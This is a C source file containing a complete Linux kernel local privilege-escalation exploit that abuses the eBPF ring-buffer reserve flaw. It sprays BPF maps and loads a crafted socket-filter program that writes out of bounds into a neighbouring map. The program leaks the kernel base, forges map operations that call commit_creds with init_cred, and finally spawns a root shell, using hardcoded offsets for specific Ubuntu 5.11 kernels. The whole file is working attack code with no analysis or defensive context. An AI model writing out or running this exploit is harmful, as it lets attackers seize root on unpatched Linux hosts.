#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stddef.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/msg.h>
#include "bpf.h"

struct bpf_ringbuf {
  char                       waitq[24];            /*     0    24 */
  char                       work[24];             /*    24    24 */
  unsigned long              mask;                 /*    48     8 */
  void *                     pages;                /*    56     8 */
  int                        nr_pages;             /*    64     4 */
  int                        spinlock __attribute__((__aligned__(64))); /*   128     4 */
  long unsigned int          consumer_pos __attribute__((__aligned__(4096))); /*  4096     8 */
  long unsigned int          producer_pos __attribute__((__aligned__(4096))); /*  8192     8 */
  char                       data[] __attribute__((__aligned__(4096))); /* 12288     0 */
} __attribute__((__aligned__(4096)));

int sockets[2];
int ctrl_mapfds[500];
size_t testbuf[0x3000 / sizeof(size_t)];
char data[0x3000];

void get_shell() {
  puts("[*] sweet root shell :)");
  system("sh");
}

int get_vuln_mapfd() {
  int key;

  /* since our bpf program put &init_cred on bpf_array.value[0]
   * we can find the vulnerable map by testing the first element
   */
  for (int i = 0; i < ARRAY_SIZE(ctrl_mapfds); ++i) {
    memset(testbuf, 0, sizeof(testbuf));
    key = 0;

    if (bpf_lookup_elem(ctrl_mapfds[i], &key, testbuf)) {
      printf("[-] failed to lookup bpf map on idx %d\n", i);
    }

    if (testbuf[0]) {
      printf("[*] found vulnerable mapfd %d\n", ctrl_mapfds[i]);
      return ctrl_mapfds[i];
    }
  }

  return -1;
}

void trigger(void) {
  char msg[] = "RABBIT";
  ssize_t n = write(sockets[0], msg, sizeof(msg));

  if (n < 0) {
    perror("write");
    return;
  }

  if (n != sizeof(msg))
    fprintf(stderr, "short write: %lu\n", n);
}


int load_prog() {
  int i = 0;

  /* heap spray */
  for (; i < 200; ++i) {
    ctrl_mapfds[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x3000, 1, 0);
  }

  int key_size = 8; // must > 4+1
  int vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_LPM_TRIE, key_size, 0x3000, 1, BPF_F_NO_PREALLOC);
  if (vuln_mapfd < 0) {
    puts("[-] failed to create trie map");
    exit(-1);
  }

  struct bpf_ringbuf *rb = (struct bpf_ringbuf *)(data - 0x28 - 4);
  rb->mask = 0xfffffffffffffffe;
  rb->consumer_pos = 0;
  rb->producer_pos = 0;

  size_t key = 0; // index 0 (root node)
  int ret = bpf_update_elem(vuln_mapfd, &key, data, 0);
  if (ret < 0) {
    puts("[-] failed to update trie map");
    exit(-1);
  }

  /* heap spray */
  for (; i < ARRAY_SIZE(ctrl_mapfds); ++i) {
    ctrl_mapfds[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x3000, 1, 0);
  }

#ifdef UBUNTU_5_11_0_16_17
  size_t array_map_ops_off = 0x12370c0;
  size_t init_cred_off = 0x1c6b8c0;
  size_t array_map_free_off = 0x21ca40;
  size_t fd_array_map_delete_elem_off = 0x21cbd0;
  size_t array_map_lookup_elem_off = 0x21c280;
  size_t commit_creds_off = 0xd2700;
#else
  size_t array_map_ops_off = 0x1019600;
  size_t init_cred_off = 0x1a4e480;
  size_t array_map_free_off = 0x17b5f0;
  size_t fd_array_map_delete_elem_off = 0x17b760;
  size_t array_map_lookup_elem_off = 0x17ae10;
  size_t commit_creds_off = 0x8fdc0;
#endif

  struct bpf_insn prog[] = {
    BPF_LD_MAP_FD(BPF_REG_1, vuln_mapfd),
    BPF_MOV64_IMM(BPF_REG_2, 0x3fffffff),
    BPF_MOV64_IMM(BPF_REG_3, 0x0),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* must check NULL case */
    BPF_EXIT_INSN(),

    BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), /* buffer (offset 0x3008 of struct bpf_ringbuf) */

    /*
     * R4 = neighbor bpf_array (ptr)
     * R6 = buffer address (scalar)
     * R7 = kernel base (scalar)
     */

    /* get neighbor bpf_array address */
    BPF_MOV64_REG(BPF_REG_4, BPF_REG_8),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 0x4000 - 0x3008),

    /* get buffer address (same as R8, but scalar type) */
    BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_4, 0xc0),
    BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xc0 + 0x4000 - 0x3008),

    /* get kernel base */
    BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),
    BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, array_map_ops_off),

    /* put &init_cred onto bpf_array.value[0] */
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, init_cred_off),
    BPF_STX_MEM(BPF_DW, BPF_REG_4, BPF_REG_1, 0x110),

    /* overwrite bpf_array.map.ops = buffer */
    BPF_STX_MEM(BPF_DW, BPF_REG_4, BPF_REG_6, 0),

    /* construct fake array_ops on buffer */
    /* put array_map_free back to avoid kernel panic after program ended */
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, array_map_free_off),
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0x18),
    /* we need array_map_lookup_elem for searching the modified bpf_array */
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, array_map_lookup_elem_off),
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0x58),
    /* set map_delete_elem & map_fd_put_ptr */
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fd_array_map_delete_elem_off),
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0x68),
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, commit_creds_off),
    BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0x90),

    /* release resources to make verifier happy */
    BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
    BPF_MOV64_IMM(BPF_REG_2, BPF_RB_NO_WAKEUP),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
    BPF_MOV64_IMM(BPF_REG_0, 0x0),
    BPF_EXIT_INSN(),
  };

  return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}

int main() {
  int progfd = load_prog();

  if (progfd < 0) {
    printf("[*] log:\n%s", bpf_log_buf);
    printf("[-] failed to load prog: '%s'\n", strerror(errno));
    exit(-1);
  }

  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
    printf("[-] failed to create socket pair: '%s'\n", strerror(errno));
    exit(-1);
  }

  if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
    printf("[-] failed to set socket option: '%s'\n", strerror(errno));
    exit(-1);
  }

  trigger();

  int mapfd = get_vuln_mapfd();
  if (mapfd < 0) {
    puts("[-] failed to get vulnerable mapfd");
    exit(-1);
  }

  /* ascending to heaven */
  int key = 0;
  bpf_delete_elem(mapfd, &key);

  get_shell();
}
